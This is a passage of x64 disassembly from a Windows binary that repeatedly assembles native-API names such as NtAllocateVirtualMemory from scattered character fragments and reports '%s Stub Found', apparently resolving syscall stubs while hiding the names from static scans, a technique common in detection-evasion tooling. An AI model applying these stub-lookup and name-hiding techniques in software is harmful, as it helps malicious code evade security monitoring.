mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x187f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x1880]
mov rcx, qword [rbp + 0x2e40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140005561
lea rbx, [0x14011529a]
jmp 0x140005568
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x1aaf]
mov qword [rbp + 0x2d50], rax
nop
nop
lea rdx, [rbp + 0x1aaf]
lea rax, [rbp + 0x1a80]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1401152da]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x140115280]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x1401152e0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x1401152be]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x1401152c0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x18a0]
lea rdx, [rbp + 0x18c0]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x18a0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1aaf]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x1ab0]
mov rcx, qword [rbp + 0x2e38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x1400058f5
lea rbx, [0x14011529a]
jmp 0x1400058fc
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x1d3f]
mov qword [rbp + 0x2d48], rax
nop
nop
lea rdx, [rbp + 0x1d3f]
lea rax, [rbp + 0x1d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x140115280]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x1401152c8]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x1401152be]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x1401152c0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1ad0]
lea rdx, [rbp + 0x1af0]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x1ad0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1d3f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1d40]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x1d40]
mov rcx, qword [rbp + 0x2e30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x1d40]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140005d0d
lea rbx, [0x14011529a]
jmp 0x140005d14
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x1faf]
mov qword [rbp + 0x2d40], rax
nop
nop
lea rdx, [rbp + 0x1faf]
lea rax, [rbp + 0x1f80]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1401152e2]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x1401152bc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x1401152c6]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x1401152be]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x1401152c0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1d60]
lea rdx, [rbp + 0x1d80]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x1d60]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1faf]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x1fb0]
mov rcx, qword [rbp + 0x2e28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x1400060f9
lea rbx, [0x14011529a]
jmp 0x140006100
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x221f]
mov qword [rbp + 0x2d38], rax
nop
nop
lea rdx, [rbp + 0x221f]
lea rax, [rbp + 0x21f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1401152ce]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x1401152bc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x1401152c6]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x1401152be]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x1401152c0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1fd0]
lea rdx, [rbp + 0x1ff0]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x1fd0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x221f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2220]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x2220]
mov rcx, qword [rbp + 0x2e20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x2220]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x1400064e5
lea rbx, [0x14011529a]
jmp 0x1400064ec
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x244f]
mov qword [rbp + 0x2d30], rax
nop
nop
lea rdx, [rbp + 0x244f]
lea rax, [rbp + 0x2420]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1401152e4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x1401152c4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x1401152c6]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x2260]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x2240]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x244f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2450]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x2450]
mov rcx, qword [rbp + 0x2e18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x2450]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140006879
lea rbx, [0x14011529a]
jmp 0x140006880
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x261f]
mov qword [rbp + 0x2d28], rax
nop
nop
lea rdx, [rbp + 0x261f]
lea rax, [rbp + 0x25f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1401152d4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1401152e0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1401152ce]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2470]
lea rdx, [rbp + 0x2490]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x2470]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x25b0]
